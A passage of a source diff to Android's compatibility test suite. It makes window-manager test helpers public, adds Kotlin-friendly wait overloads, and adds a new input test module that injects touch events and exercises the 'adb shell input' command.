         waitForWithAmState(state -> !state.getKeyguardControllerState().keyguardShowing,
                 "Keyguard gone");
     }
 
-    void waitAndAssertKeyguardGone() {
+    public void waitAndAssertKeyguardGone() {
         assertTrue("Keyguard must be gone",
                 waitForWithAmState(
                         state -> !state.getKeyguardControllerState().keyguardShowing,
@@ -181,7 +188,7 @@
     }
 
     /** Wait for specific rotation for the default display. Values are Surface#Rotation */
-    void waitForRotation(int rotation) {
+    public void waitForRotation(int rotation) {
         waitForWithAmState(state -> state.getRotation() == rotation, "Rotation: " + rotation);
     }
 
@@ -189,12 +196,12 @@
      * Wait for specific orientation for the default display.
      * Values are ActivityInfo.ScreenOrientation
      */
-    void waitForLastOrientation(int orientation) {
+    public void waitForLastOrientation(int orientation) {
         waitForWithAmState(state -> state.getLastOrientation() == orientation,
                 "LastOrientation: " + orientation);
     }
 
-    void waitAndAssertLastOrientation(String message, int screenOrientation) {
+    public void waitAndAssertLastOrientation(String message, int screenOrientation) {
         if (screenOrientation != getLastOrientation()) {
             waitForLastOrientation(screenOrientation);
         }
@@ -204,7 +211,7 @@
     /**
      * Wait for orientation for the Activity
      */
-    void waitForActivityOrientation(ComponentName activityName, int orientation) {
+    public void waitForActivityOrientation(ComponentName activityName, int orientation) {
         waitForWithAmState(amState -> {
             final ActivityTask task = amState.getTaskByActivity(activityName);
             if (task == null) {
@@ -214,7 +221,7 @@
         }, "orientation of " + getActivityName(activityName) + " to be " + orientation);
     }
 
-    void waitForDisplayUnfrozen() {
+    public void waitForDisplayUnfrozen() {
         waitForWithAmState(state -> !state.isDisplayFrozen(), "Display unfrozen");
     }
 
@@ -229,12 +236,12 @@
                 getActivityName(activityName) + " to be removed");
     }
 
-    void waitAndAssertActivityRemoved(ComponentName activityName) {
+    public void waitAndAssertActivityRemoved(ComponentName activityName) {
         waitForActivityRemoved(activityName);
         assertNotExist(activityName);
     }
 
-    void waitForFocusedStack(int windowingMode, int activityType) {
+    public void waitForFocusedStack(int windowingMode, int activityType) {
         waitForWithAmState(state ->
                         (activityType == ACTIVITY_TYPE_UNDEFINED
                                 || state.getFocusedStackActivityType() == activityType)
@@ -243,32 +250,39 @@
                 "focused stack");
     }
 
-    void waitForPendingActivityContain(ComponentName activity) {
+    public void waitForPendingActivityContain(ComponentName activity) {
         waitForWithAmState(state -> state.pendingActivityContain(activity),
                 getActivityName(activity) + " in pending list");
     }
 
-    void waitForAppTransitionIdleOnDisplay(int displayId) {
-        waitForWithAmState(
+    public boolean waitForAppTransitionRunningOnDisplay(int displayId) {
+        return waitForWithAmState(
+                state -> WindowManagerState.APP_STATE_RUNNING.equals(
+                        state.getDisplay(displayId).getAppTransitionState()),
+                "app transition running on Display " + displayId);
+    }
+
+    public boolean waitForAppTransitionIdleOnDisplay(int displayId) {
+        return waitForWithAmState(
                 state -> WindowManagerState.APP_STATE_IDLE.equals(
                         state.getDisplay(displayId).getAppTransitionState()),
                 "app transition idle on Display " + displayId);
     }
 
-    void waitAndAssertNavBarShownOnDisplay(int displayId) {
+    public void waitAndAssertNavBarShownOnDisplay(int displayId) {
         assertTrue(waitForWithAmState(
                 state -> state.getAndAssertSingleNavBarWindowOnDisplay(displayId) != null,
                 "navigation bar #" + displayId + " show"));
     }
 
-    void waitAndAssertKeyguardShownOnSecondaryDisplay(int displayId) {
+    public void waitAndAssertKeyguardShownOnSecondaryDisplay(int displayId) {
         assertTrue("KeyguardDialog must be shown on secondary display " + displayId,
                 waitForWithAmState(
                         state -> isKeyguardOnSecondaryDisplay(state, displayId),
                         "keyguard window to show"));
     }
 
-    void waitAndAssertKeyguardGoneOnSecondaryDisplay(int displayId) {
+    public void waitAndAssertKeyguardGoneOnSecondaryDisplay(int displayId) {
         assertTrue("KeyguardDialog must be gone on secondary display " + displayId,
                 waitForWithAmState(
                         state -> !isKeyguardOnSecondaryDisplay(state, displayId),
@@ -281,6 +295,17 @@
         }, windowName + "'s surface is disappeared");
     }
 
+    void waitAndAssertWindowSurfaceShown(String windowName, boolean shown) {
+        assertTrue(
+                waitForWithAmState(state -> state.isWindowSurfaceShown(windowName) == shown,
+                        windowName + "'s  isWindowSurfaceShown to return " + shown));
+    }
+
+    /** A variant of waitForWithAmState with different parameter order for better Kotlin interop. */
+    public boolean waitForWithAmState(String message, Predicate<WindowManagerState> waitCondition) {
+        return waitForWithAmState(waitCondition, message);
+    }
+
     public boolean waitForWithAmState(Predicate<WindowManagerState> waitCondition,
             String message) {
         return waitFor((amState) -> waitCondition.test(amState), message);
@@ -294,14 +319,34 @@
         }, message);
     }
 
+    /** A variant of waitFor with different parameter order for better Kotlin interop. */
+    public boolean waitFor(String message, Predicate<WindowManagerState> waitCondition) {
+        return waitFor(waitCondition, message);
+    }
+
     /** @return {@code true} if the wait is successful; {@code false} if timeout occurs. */
-    boolean waitFor(Predicate<WindowManagerState> waitCondition, String message) {
+    public boolean waitFor(Predicate<WindowManagerState> waitCondition, String message) {
         return Condition.waitFor(message, () -> {
             computeState();
             return waitCondition.test(this);
         });
     }
 
+    /** Waits for non-null result from {@code function} and returns it. */
+    public <T> T waitForResult(String message, Function<WindowManagerState, T> function) {
+        return waitForResult(message, function, Objects::nonNull);
+    }
+
+    public <T> T waitForResult(String message, Function<WindowManagerState, T> function,
+            Predicate<T> validator) {
+        return Condition.waitForResult(new Condition<T>(message)
+                .setResultSupplier(() -> {
+                    computeState();
+                    return function.apply(this);
+                })
+                .setResultValidator(validator));
+    }
+
     /**
      * @return true if should wait for valid stacks state.
      */
@@ -323,7 +368,7 @@
         return false;
     }
 
-    void waitAndAssertAppFocus(String appPackageName, long waitTime) {
+    public void waitAndAssertAppFocus(String appPackageName, long waitTime) {
         final Condition<String> condition = new Condition<>(appPackageName + " to be focused");
         Condition.waitFor(condition.setResultSupplier(() -> {
             computeState();
@@ -436,17 +481,17 @@
         return false;
     }
 
-    private boolean shouldWaitForSanityCheck() {
+    private boolean shouldWaitForValidityCheck() {
         try {
-            assertSanity();
+            assertValidity();
         } catch (Throwable t) {
-            logAlways("Waiting for sanity check: " + t.toString());
+            logAlways("Waiting for validity check: " + t.toString());
             return true;
         }
         return false;
     }
 
-    void assertSanity() {
+    void assertValidity() {
         assertThat("Must have stacks", getStackCount(), greaterThan(0));
         // TODO: Update when keyguard will be shown on multiple displays
         if (!getKeyguardControllerState().keyguardShowing) {
@@ -467,11 +512,11 @@
         assertNotNull("Must have app.", getFocusedApp());
     }
 
-    void assertContainsStack(String msg, int windowingMode, int activityType) {
+    public void assertContainsStack(String msg, int windowingMode, int activityType) {
         assertTrue(msg, containsStack(windowingMode, activityType));
     }
 
-    void assertDoesNotContainStack(String msg, int windowingMode, int activityType) {
+    public void assertDoesNotContainStack(String msg, int windowingMode, int activityType) {
         assertFalse(msg, containsStack(windowingMode, activityType));
     }
 
@@ -479,7 +524,8 @@
         assertFrontStackOnDisplay(msg, windowingMode, activityType, DEFAULT_DISPLAY);
     }
 
-    void assertFrontStackOnDisplay(String msg, int windowingMode, int activityType, int displayId) {
+    public void assertFrontStackOnDisplay(String msg, int windowingMode, int activityType,
+            int displayId) {
         if (windowingMode != WINDOWING_MODE_UNDEFINED) {
             assertEquals(msg, windowingMode,
                     getFrontStackWindowingMode(displayId));
@@ -489,7 +535,7 @@
         }
     }
 
-    void assertFrontStackActivityType(String msg, int activityType) {
+    public void assertFrontStackActivityType(String msg, int activityType) {
         assertEquals(msg, activityType, getFrontStackActivityType(DEFAULT_DISPLAY));
     }
 
@@ -512,13 +558,13 @@
         assertEquals(msg, activityComponentName, getFocusedApp());
     }
 
-    void assertFocusedAppOnDisplay(final String msg, final ComponentName activityName,
+    public void assertFocusedAppOnDisplay(final String msg, final ComponentName activityName,
             final int displayId) {
         final String activityComponentName = getActivityName(activityName);
         assertEquals(msg, activityComponentName, getDisplay(displayId).getFocusedApp());
     }
 
-    void assertNotFocusedActivity(String msg, ComponentName activityName) {
+    public void assertNotFocusedActivity(String msg, ComponentName activityName) {
         assertNotEquals(msg, getFocusedActivity(), getActivityName(activityName));
         assertNotEquals(msg, getFocusedApp(), getActivityName(activityName));
     }
@@ -542,19 +588,19 @@
         }
     }
 
-    void assertNotResumedActivity(String msg, ComponentName activityName) {
+    public void assertNotResumedActivity(String msg, ComponentName activityName) {
         assertNotEquals(msg, getFocusedActivity(), getActivityName(activityName));
     }
 
-    void assertFocusedWindow(String msg, String windowName) {
+    public void assertFocusedWindow(String msg, String windowName) {
         assertEquals(msg, windowName, getFocusedWindow());
     }
 
-    void assertNotFocusedWindow(String msg, String windowName) {
+    public void assertNotFocusedWindow(String msg, String windowName) {
         assertNotEquals(msg, getFocusedWindow(), windowName);
     }
 
-    void assertNotExist(final ComponentName activityName) {
+    public void assertNotExist(final ComponentName activityName) {
         final String windowName = getWindowName(activityName);
         assertFalse("Activity=" + getActivityName(activityName) + " must NOT exist.",
                 containsActivity(activityName));
@@ -584,7 +630,7 @@
                 visible, isWindowSurfaceShown(windowName));
     }
 
-    void assertHomeActivityVisible(boolean visible) {
+    public void assertHomeActivityVisible(boolean visible) {
         final ComponentName homeActivity = getHomeActivityName();
         assertNotNull(homeActivity);
         assertVisibility(homeActivity, visible);
@@ -593,7 +639,7 @@
     /**
      * Asserts that the device default display minimim width is larger than the minimum task width.
      */
-    void assertDeviceDefaultDisplaySize(String errorMessage) {
+    void assertDeviceDefaultDisplaySizeForMultiWindow(String errorMessage) {
         computeState();
         final int minTaskSizePx = defaultMinimalTaskSize(DEFAULT_DISPLAY);
         final WindowManagerState.DisplayContent display = getDisplay(DEFAULT_DISPLAY);
@@ -603,6 +649,20 @@
         }
     }
 
+    /**
+     * Asserts that the device default display minimum width is not smaller than the minimum width
+     * for split-screen required by CDD.
+     */
+    void assertDeviceDefaultDisplaySizeForSplitScreen(String errorMessage) {
+        computeState();
+        final int minDisplaySizePx = defaultMinimalDisplaySizeForSplitScreen(DEFAULT_DISPLAY);
+        final WindowManagerState.DisplayContent display = getDisplay(DEFAULT_DISPLAY);
+        final Rect displayRect = display.getDisplayRect();
+        if (Math.max(displayRect.width(), displayRect.height()) < minDisplaySizePx) {
+            fail(errorMessage);
+        }
+    }
+
     public void assertKeyguardShowingAndOccluded() {
         assertTrue("Keyguard is showing",
                 getKeyguardControllerState().keyguardShowing);
@@ -642,12 +702,17 @@
                 getKeyguardControllerState().aodShowing);
     }
 
-    public void assertNoneEmptyTasks() {
+    public void assertIllegalTaskState() {
         computeState();
         final List<ActivityTask> tasks = getRootTasks();
         for (ActivityTask task : tasks) {
             task.forAllTasks((t) -> assertWithMessage("Empty task was found, id = " + t.mTaskId)
                     .that(t.mTasks.size() + t.mActivities.size()).isGreaterThan(0));
+            if (task.isLeafTask()) {
+                continue;
+            }
+            assertWithMessage("Non-leaf task cannot have affinity set, id = " + task.mTaskId)
+                    .that(task.mAffinity).isEmpty();
         }
     }
 
@@ -661,7 +726,7 @@
 
     public void assertWindowDisplayed(final String windowName) {
         waitForValidState(WaitForValidActivityState.forWindow(windowName));
-        assertTrue(windowName + "is visible", isWindowSurfaceShown(windowName));
+        assertTrue(windowName + " is visible", isWindowSurfaceShown(windowName));
     }
 
     void waitAndAssertImeWindowShownOnDisplay(int displayId) {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java b/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java
index 710b920..ee993ae 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java
@@ -21,6 +21,7 @@
 import android.content.ContentResolver;
 import android.net.Uri;
 import android.provider.Settings.SettingNotFoundException;
+import android.server.wm.NestedShellPermission;
 import android.util.Log;
 
 import androidx.annotation.NonNull;
@@ -142,7 +143,7 @@
     }
 
     private static <T> void put(final Uri uri, final SettingsSetter<T> setter, T value) {
-        SystemUtil.runWithShellPermissionIdentity(() -> {
+        NestedShellPermission.run(() -> {
             setter.set(getContentResolver(), uri.getLastPathSegment(), value);
         });
     }
diff --git a/tests/input/Android.bp b/tests/input/Android.bp
new file mode 100644
index 0000000..668852b
--- /dev/null
+++ b/tests/input/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsInputTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    compile_multilib: "both",
+    srcs: ["src/**/*.kt"],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/input/AndroidManifest.xml b/tests/input/AndroidManifest.xml
new file mode 100644
index 0000000..0698bd9
--- /dev/null
+++ b/tests/input/AndroidManifest.xml
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.input.cts">
+
+    <uses-permission android:name="android.permission.INJECT_EVENTS"/>
+
+    <application android:label="InputTest">
+        <activity android:name=".OverlayActivity"
+                  android:label="Overlay activity"
+                  android:process=":externalProcess"
+                  android:theme="@android:style/Theme.Dialog"
+                  android:exported="true">
+            <layout android:defaultHeight="100dp"
+                    android:defaultWidth="100dp"
+                    android:gravity="bottom"
+                    android:minHeight="100dp"
+                    android:minWidth="100dp" />
+        </activity>
+        <receiver android:name=".OverlayFocusedBroadcastReceiver" android:exported="true">
+            <intent-filter>
+                <action android:name="android.input.cts.action.OVERLAY_ACTIVITY_FOCUSED"/>
+            </intent-filter>
+        </receiver>
+
+        <activity android:name="android.input.cts.IncompleteMotionActivity"
+                  android:label="IncompleteMotion activity">
+        </activity>
+        <activity android:name="android.input.cts.CaptureEventActivity"
+                  android:label="Capture events">
+        </activity>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.input.cts"
+         android:label="Tests for input APIs and behaviours.">
+    </instrumentation>
+</manifest>
diff --git a/tests/input/AndroidTest.xml b/tests/input/AndroidTest.xml
new file mode 100644
index 0000000..70b9d5d
--- /dev/null
+++ b/tests/input/AndroidTest.xml
@@ -0,0 +1,31 @@
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS input test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsInputTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.input.cts" />
+        <option name="runtime-hint" value="14s" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
+    </test>
+</configuration>
diff --git a/tests/input/OWNERS b/tests/input/OWNERS
new file mode 100644
index 0000000..8ed76d2
--- /dev/null
+++ b/tests/input/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 136048
+arthurhung@google.com
+lzye@google.com
+michaelwr@google.com
+svv@google.com
diff --git a/tests/input/TEST_MAPPING b/tests/input/TEST_MAPPING
new file mode 100644
index 0000000..dda3e83
--- /dev/null
+++ b/tests/input/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsInputTestCases"
+    }
+  ]
+}
diff --git a/tests/input/src/android/input/cts/CaptureEventActivity.kt b/tests/input/src/android/input/cts/CaptureEventActivity.kt
new file mode 100644
index 0000000..4f5caad
--- /dev/null
+++ b/tests/input/src/android/input/cts/CaptureEventActivity.kt
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.input.cts
+
+import android.app.Activity
+import android.view.InputEvent
+import android.view.KeyEvent
+import android.view.MotionEvent
+import java.util.concurrent.LinkedBlockingQueue
+import java.util.concurrent.TimeUnit
+
+class CaptureEventActivity : Activity() {
+    private val mEvents = LinkedBlockingQueue<InputEvent>()
+
+    override fun dispatchGenericMotionEvent(ev: MotionEvent?): Boolean {
+        mEvents.add(MotionEvent.obtain(ev))
+        return true
+    }
+
+    override fun dispatchTouchEvent(ev: MotionEvent?): Boolean {
+        mEvents.add(MotionEvent.obtain(ev))
+        return true
+    }
+
+    override fun dispatchKeyEvent(event: KeyEvent?): Boolean {
+        mEvents.add(KeyEvent(event))
+        return true
+    }
+
+    override fun dispatchTrackballEvent(ev: MotionEvent?): Boolean {
+        mEvents.add(MotionEvent.obtain(ev))
+        return true
+    }
+
+    fun getLastInputEvent(): InputEvent? {
+        return mEvents.poll(5, TimeUnit.SECONDS)
+    }
+}
diff --git a/tests/input/src/android/input/cts/IncompleteMotionActivity.kt b/tests/input/src/android/input/cts/IncompleteMotionActivity.kt
new file mode 100644
index 0000000..ac7cc3b
--- /dev/null
+++ b/tests/input/src/android/input/cts/IncompleteMotionActivity.kt
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.input.cts
+
+import android.app.Activity
+import android.view.MotionEvent
+import java.util.concurrent.atomic.AtomicBoolean
+
+class IncompleteMotionActivity : Activity() {
+    private val mReceivedMove = AtomicBoolean(false)
+    override fun onTouchEvent(event: MotionEvent): Boolean {
+        if (event.action == MotionEvent.ACTION_MOVE) {
+            mReceivedMove.set(true)
+        }
+        return true
+    }
+
+    fun receivedMove(): Boolean {
+        return mReceivedMove.get()
+    }
+}
diff --git a/tests/input/src/android/input/cts/IncompleteMotionTest.kt b/tests/input/src/android/input/cts/IncompleteMotionTest.kt
new file mode 100644
index 0000000..26ae69a
--- /dev/null
+++ b/tests/input/src/android/input/cts/IncompleteMotionTest.kt
@@ -0,0 +1,166 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.input.cts
+
+import android.content.BroadcastReceiver
+import android.content.Context
+import android.content.Intent
+import android.content.IntentFilter
+import android.os.Handler
+import android.os.HandlerThread
+import android.os.Looper
+import android.os.SystemClock
+import android.view.InputDevice
+import android.view.MotionEvent
+import android.view.MotionEvent.ACTION_DOWN
+import android.view.MotionEvent.ACTION_MOVE
+import android.view.View
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import androidx.test.filters.MediumTest
+import androidx.test.platform.app.InstrumentationRegistry
+import androidx.test.rule.ActivityTestRule
+import com.android.compatibility.common.util.PollingCheck
+import org.junit.Before
+import org.junit.Rule
+import org.junit.Test
+import org.junit.runner.RunWith
+import java.util.concurrent.atomic.AtomicBoolean
+import kotlin.concurrent.thread
+
+private const val OVERLAY_ACTIVITY_FOCUSED = "android.input.cts.action.OVERLAY_ACTIVITY_FOCUSED"
+
+private fun getViewCenterOnScreen(v: View): Pair<Float, Float> {
+    val location = IntArray(2)
+    v.getLocationOnScreen(location)
+    val x = location[0].toFloat() + v.width / 2
+    val y = location[1].toFloat() + v.height / 2
+    return Pair(x, y)
+}
+
+/**
+ * When OverlayActivity receives focus, it will send out the OVERLAY_ACTIVITY_FOCUSED broadcast.
+ */
+class OverlayFocusedBroadcastReceiver : BroadcastReceiver() {
+    private val mIsFocused = AtomicBoolean(false)
+    override fun onReceive(context: Context, intent: Intent) {
+        mIsFocused.set(true)
+    }
+
+    fun overlayActivityIsFocused(): Boolean {
+        return mIsFocused.get()
+    }
+}
+
+/**
+ * This test injects an incomplete event stream and makes sure that the app processes it correctly.
+ * If it does not process it correctly, it can get ANRd.
+ *
+ * This test reproduces a bug where there was incorrect consumption logic in the InputEventReceiver
+ * jni code. If the system has this bug, this test ANRs.
+ * The bug occurs when the app consumes a focus event right after a batched MOVE event.
+ * In this test, we take care to write a batched MOVE event and a focus event prior to unblocking
+ * the UI thread to let the app process these events.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4::class)
+class IncompleteMotionTest {
+    @get:Rule
+    var mActivityRule: ActivityTestRule<IncompleteMotionActivity> =
+            ActivityTestRule(IncompleteMotionActivity::class.java)
+    lateinit var mActivity: IncompleteMotionActivity
+    val mInstrumentation = InstrumentationRegistry.getInstrumentation()
+
+    @Before
+    fun setUp() {
+        mActivity = mActivityRule.getActivity()
+        PollingCheck.waitFor { mActivity.hasWindowFocus() }
+    }
+
+    /**
+     * Check that MOVE event is received by the activity, even if it's coupled with a FOCUS event.
+     */
+    @Test
+    fun testIncompleteMotion() {
+        val downTime = SystemClock.uptimeMillis()
+        val (x, y) = getViewCenterOnScreen(mActivity.window.decorView)
+
+        // Start a valid touch stream
+        sendEvent(downTime, ACTION_DOWN, x, y, true /*sync*/)
+        // Lock up the UI thread. This ensures that the motion event that we will write will
+        // not get processed by the app right away.
+        mActivity.runOnUiThread {
+            val sendMoveAndFocus = thread(start = true) {
+                sendEvent(downTime, ACTION_MOVE, x, y + 10, false /*sync*/)
+                // The MOVE event is sent async because the UI thread is blocked.
+                // Give dispatcher some time to send it to the app
+                SystemClock.sleep(700)
+
+                val handlerThread = HandlerThread("Receive broadcast from overlay activity")
+                handlerThread.start()
+                val looper: Looper = handlerThread.looper
+                val handler = Handler(looper)
+                val receiver = OverlayFocusedBroadcastReceiver()
+                val intentFilter = IntentFilter(OVERLAY_ACTIVITY_FOCUSED)
+                mActivity.registerReceiver(receiver, intentFilter, null, handler)
+
+                // Now send hasFocus=false event to the app by launching a new focusable window
+                startOverlayActivity()
+                PollingCheck.waitFor { receiver.overlayActivityIsFocused() }
+                mActivity.unregisterReceiver(receiver)
+                handlerThread.quit()
+                // We need to ensure that the focus event has been written to the app's socket
+                // before unblocking the UI thread. Having the overlay activity receive
+                // hasFocus=true event is a good proxy for that. However, it does not guarantee
+                // that dispatcher has written the hasFocus=false event to the current activity.
+                // For safety, add another small sleep here
+                SystemClock.sleep(300)
+            }
+            sendMoveAndFocus.join()
+        }
+        PollingCheck.waitFor { !mActivity.hasWindowFocus() }
+        // If the platform implementation has a bug, it would consume both MOVE and FOCUS events,
+        // but will only call 'finish' for the focus event.
+        // The MOVE event would not be propagated to the app, because the Choreographer
+        // callback never gets scheduled
+        // If we wait too long here, we will cause ANR (if the platform has a bug).
+        // If the MOVE event is received, however, we can stop the test.
+        PollingCheck.waitFor { mActivity.receivedMove() }
+    }
+
+    private fun sendEvent(downTime: Long, action: Int, x: Float, y: Float, sync: Boolean) {
+        val eventTime = when (action) {
+            ACTION_DOWN -> downTime
+            else -> SystemClock.uptimeMillis()
+        }
+        val event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0 /*metaState*/)
+        event.source = InputDevice.SOURCE_TOUCHSCREEN
+        mInstrumentation.uiAutomation.injectInputEvent(event, sync)
+    }
+
+    /**
+     * Start an activity that overlays the main activity. This is needed in order to move the focus
+     * to the newly launched activity, thus causing the bottom activity to lose focus.
+     * This activity is not full-screen, in order to prevent the bottom activity from receiving an
+     * onStop call. In the previous platform implementation, the ANR behaviour was incorrectly
+     * fixed by consuming events from the onStop event.
+     * Because the bottom activity's UI thread is locked, use 'am start' to start the new activity
+     */
+    private fun startOverlayActivity() {
+        val flags = " -W -n "
+        val startCmd = "am start $flags android.input.cts/.OverlayActivity"
+        mInstrumentation.uiAutomation.executeShellCommand(startCmd)
+    }
+}
diff --git a/tests/input/src/android/input/cts/InputShellCommandTest.kt b/tests/input/src/android/input/cts/InputShellCommandTest.kt
new file mode 100644
index 0000000..4555b5d
--- /dev/null
+++ b/tests/input/src/android/input/cts/InputShellCommandTest.kt
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.input.cts
+
+import android.view.MotionEvent
+import android.view.View
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import androidx.test.filters.MediumTest
+import androidx.test.platform.app.InstrumentationRegistry
+import androidx.test.rule.ActivityTestRule
+import com.android.compatibility.common.util.PollingCheck
+import com.android.compatibility.common.util.ShellUtils
+import com.google.common.truth.Truth.assertThat
+import org.junit.Before
+import org.junit.Rule
+import org.junit.Test
+import org.junit.runner.RunWith
+
+private fun getViewCenterOnScreen(v: View): Pair<Int, Int> {
+    val location = IntArray(2)
+    v.getLocationOnScreen(location)
+    val x = location[0] + v.width / 2
+    val y = location[1] + v.height / 2
+    return Pair(x, y)
+}
+
+/**
+ * Tests for the 'adb shell input' command.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4::class)
+class InputShellCommandTest {
+    @get:Rule
+    var mActivityRule: ActivityTestRule<CaptureEventActivity> =
+            ActivityTestRule(CaptureEventActivity::class.java)
+    lateinit var mActivity: CaptureEventActivity
+    val mInstrumentation = InstrumentationRegistry.getInstrumentation()
+
+    @Before
+    fun setUp() {
+        mActivity = mActivityRule.getActivity()
+        PollingCheck.waitFor { mActivity.hasWindowFocus() }
+    }
+
+    /**
+     * Check the tool type set by default by "input tap" command
+     */
+    @Test
+    fun testDefaultToolType() {
+        val (x, y) = getViewCenterOnScreen(mActivity.window.decorView)
+
+        ShellUtils.runShellCommand("input tap $x $y")
+        assertTapToolType(MotionEvent.TOOL_TYPE_FINGER)
+    }
+
+    /**
+     * Check that the tool type of the injected events changes according to the event source.
+     */
+    @Test
+    fun testToolType() {
+        val (x, y) = getViewCenterOnScreen(mActivity.window.decorView)
+
+        ShellUtils.runShellCommand("input touchscreen tap $x $y")
+        assertTapToolType(MotionEvent.TOOL_TYPE_FINGER)
+
+        ShellUtils.runShellCommand("input touchpad tap $x $y")
+        assertTapToolType(MotionEvent.TOOL_TYPE_FINGER)
+
+        ShellUtils.runShellCommand("input touchnavigation tap $x $y")
+        assertTapToolType(MotionEvent.TOOL_TYPE_FINGER)
+
+        ShellUtils.runShellCommand("input stylus tap $x $y")
+        assertTapToolType(MotionEvent.TOOL_TYPE_STYLUS)
+
+        ShellUtils.runShellCommand("input mouse tap $x $y")
+        assertTapToolType(MotionEvent.TOOL_TYPE_MOUSE)
+
+        ShellUtils.runShellCommand("input trackball tap $x $y")
+        assertTapToolType(MotionEvent.TOOL_TYPE_MOUSE)
+
+        ShellUtils.runShellCommand("input joystick tap $x $y")
+        assertTapToolType(MotionEvent.TOOL_TYPE_UNKNOWN)
+    }
+
+    private fun getMotionEvent(): MotionEvent {
+        val event = mActivity.getLastInputEvent()
+        assertThat(event).isNotNull()
+        assertThat(event).isInstanceOf(MotionEvent::class.java)
+        return event as MotionEvent
+    }
+
+    private fun assertToolType(event: MotionEvent, toolType: Int) {
+        val pointerProperties = MotionEvent.PointerProperties()
